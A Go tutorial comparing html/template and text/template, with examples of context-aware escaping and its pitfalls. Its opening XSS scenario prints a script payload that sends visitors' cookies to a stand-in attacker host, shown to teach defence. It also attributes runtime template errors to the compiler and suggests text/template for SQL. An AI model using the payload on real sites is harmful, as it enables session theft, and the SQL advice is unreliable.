What Is the Difference Between html/template and text/template

Web
Use html/template for safe web pages with automatic escaping and text/template for raw text files without escaping.

The comment that breaks your app

You build a blog with a comment section. A user named Bob posts "Great post!". You render the comment. It works. Then Alice posts. Alice is testing your defenses. Alice's comment is <script>fetch('https://evil.com/steal?c='+document.cookie)</script>. You render the comment. The browser executes the script. Alice gets every visitor's session token. You just lost your user base.

Go provides two packages for rendering templates. One stops Alice automatically. The other assumes you know what you are doing and lets Alice win. The difference is not just syntax. It is a fundamental choice about trust and context.

Two packages, two mindsets

text/template is a blind copier. You give it a string, it prints the string. If the string contains HTML tags, the output contains HTML tags. If the string contains a script, the output contains a script. The package has no idea what the output will be used for. It treats every character as plain text.

html/template is a context-aware guard. It parses your template and builds a map of where every value lands. It knows if a value goes into the body of a paragraph, inside a JavaScript block, or inside a URL attribute. When you inject data, the engine checks the context and applies the correct escaping rules. You do not have to remember which character is dangerous where. The engine enforces safety based on the document structure.

Think of text/template as a photocopier. It reproduces exactly what you hand it. Think of html/template as a security checkpoint at a construction site. It inspects every item. It wraps sharp objects in padding if they go into the general area. It locks chemicals in a cabinet if they go into the storage room. It knows the layout of the site and protects accordingly.

Minimal comparison

Here is the simplest demonstration. The same data, two different packages, two different outputs.

package main

import (
	"os"
	"text/template"
)

func main() {
	// text/template prints exactly what it receives without modification
	tmpl := template.Must(template.New("plain").Parse("User said: {{.}}"))
	tmpl.Execute(os.Stdout, "<script>alert('xss')</script>")
}

The output is raw HTML. The browser sees the script tag and runs it.

# output:
User said: <script>alert('xss')</script>

Now swap the package. The template syntax is identical. The behavior changes completely.

package main

import (
	"html/template"
	"os"
)

func main() {
	// html/template escapes dangerous characters based on the context
	tmpl := template.Must(template.New("safe").Parse("User said: {{.}}"))
	tmpl.Execute(os.Stdout, "<script>alert('xss')</script>")
}

The output is safe. The angle brackets become entities. The browser displays the text but does not execute it.

# output:
User said: &lt;script&gt;alert('xss')&lt;/script&gt;

The convention here is to wrap template.Parse in template.Must during initialization. Must panics if parsing fails. This is standard practice for templates loaded at startup because a broken template is a fatal configuration error. There is no point in running a server with unparseable templates.

How context-aware escaping works

html/template does more than replace < with &lt;. That would break legitimate HTML attributes and JavaScript. The engine tracks the context of every node in the template tree.

When you parse an HTML template, Go recognizes tags and attributes. It assigns a context to each insertion point. If you write {{.}} inside a <p> tag, the context is HTML text. If you write href="{{.}}", the context is a URL attribute. If you write <script>var x = {{.}}</script>, the context is JavaScript.

The escaping rules differ for each context. In HTML text, < and > are dangerous. In a URL attribute, " and ' are dangerous. In JavaScript, < is dangerous, but so is the sequence </script> which can close the block prematurely. The engine applies the right transformation for the right spot.

This means you can write a template that mixes contexts safely. The engine handles the switching. You inject a string once, and the engine escapes it correctly wherever it appears.

package main

import (
	"html/template"
	"os"
)

// Data holds user input that could be malicious
type Data struct {
	Name  string
	Link  string
	Note  string
}

func main() {
	// html/template assigns different contexts to different insertion points
	tmpl := template.Must(template.New("mixed").Parse(`
		<h1>{{.Name}}</h1>
		<a href="{{.Link}}">Click</a>
		<script>var note = "{{.Note}}";</script>
	`))

	// The same string is escaped differently for HTML, URL, and JS contexts
	d := Data{
		Name: "Alice & Bob",
		Link: "https://example.com?ref=<img>",
		Note: "He said \"Hello\"",
	}

	tmpl.Execute(os.Stdout, d)
}

The output shows three different escaping strategies applied automatically. The name is HTML-escaped. The link is URL-escaped. The note is JavaScript-escaped. The developer writes one template. The engine ensures safety everywhere.

Realistic profile handler

In a real application, you render templates inside HTTP handlers. The pattern is consistent. Parse the template once, usually as a package-level variable. Execute it per request. Never parse inside the handler loop. Parsing is expensive. Execution is cheap.

package main

import (
	"html/template"
	"net/http"
)

// User represents a profile loaded from the database
type User struct {
	Name   string
	Bio    string
	Avatar string
}

// profileTmpl is parsed once at startup for performance
var profileTmpl = template.Must(template.New("profile").Parse(`
<html>
<head><title>{{.Name}}</title></head>
<body>
	<h1>{{.Name}}</h1>
	<p>{{.Bio}}</p>
	<img src="{{.Avatar}}" alt="Avatar">
</body>
</html>
`))

// handleProfile renders the user profile with safe escaping
func handleProfile(w http.ResponseWriter, r *http.Request) {
	// Simulate user input that attempts XSS and attribute injection
	u := User{
		Name:   "Alice & \"Bob\"",
		Bio:    "<script>steal()</script>",
		Avatar: "https://example.com/img.png?ref=<img>",
	}

	// Execute writes the escaped output to the response writer
	profileTmpl.Execute(w, u)
}

The compiler rejects undefined fields with html/template: executing "..." at <.Field>: can't evaluate field Field in type .... This error occurs if your struct field is lowercase (private) or misspelled. Go templates can only access exported fields. If you define name instead of Name, the template engine cannot see it. The error message tells you exactly which field failed and what type the engine was looking at.

Pitfalls and compiler errors

The biggest risk is using the wrong package. If you use text/template to generate HTML, the compiler does not stop you. The runtime does not stop you. You get raw output. XSS vulnerabilities appear instantly. The only protection is discipline. Always use html/template for HTML, XML, or SVG output.

The second risk is bypassing the guard. html/template provides types like template.HTML, template.URL, and template.JS. These types tell the engine that the content is already safe. If you wrap user input in template.HTML, you disable escaping. The engine trusts you. If you are wrong, you introduce a vulnerability.

// DANGER: This disables escaping. Only use with trusted, sanitized content.
safeContent := template.HTML("<b>Trusted Markdown</b>")

Use these types only when you have verified the content yourself. For example, if you run a Markdown parser that strips scripts and returns HTML, you might wrap the result in template.HTML. Never wrap raw user input.

The third risk is using html/template for non-HTML formats. If you generate JSON, SQL, or configuration files, html/template will escape characters that break the format. JSON parsers expect raw strings. HTML escaping turns < into &lt;, which corrupts JSON. Use text/template for JSON, SQL, YAML, and plain text.

The compiler complains with template: "name" is an incomplete template if you forget to close a block or miss a {{end}}. The error message points to the template name. Check your braces and keywords.

When to use which

Use html/template when you are generating HTML, XML, or SVG documents that will be rendered by a browser.

Use text/template when you are generating plain text, JSON, SQL queries, or configuration files where HTML escaping would corrupt the output.

Use template.HTML only when you have verified the content is safe and you explicitly need to bypass escaping, such as rendering trusted Markdown output.

Use a custom template function when you need to transform data before escaping, but be aware that custom functions do not automatically inherit context-aware escaping.

html/template is your shield. text/template is your scalpel. Do not use a scalpel to block a bullet.

Where to go next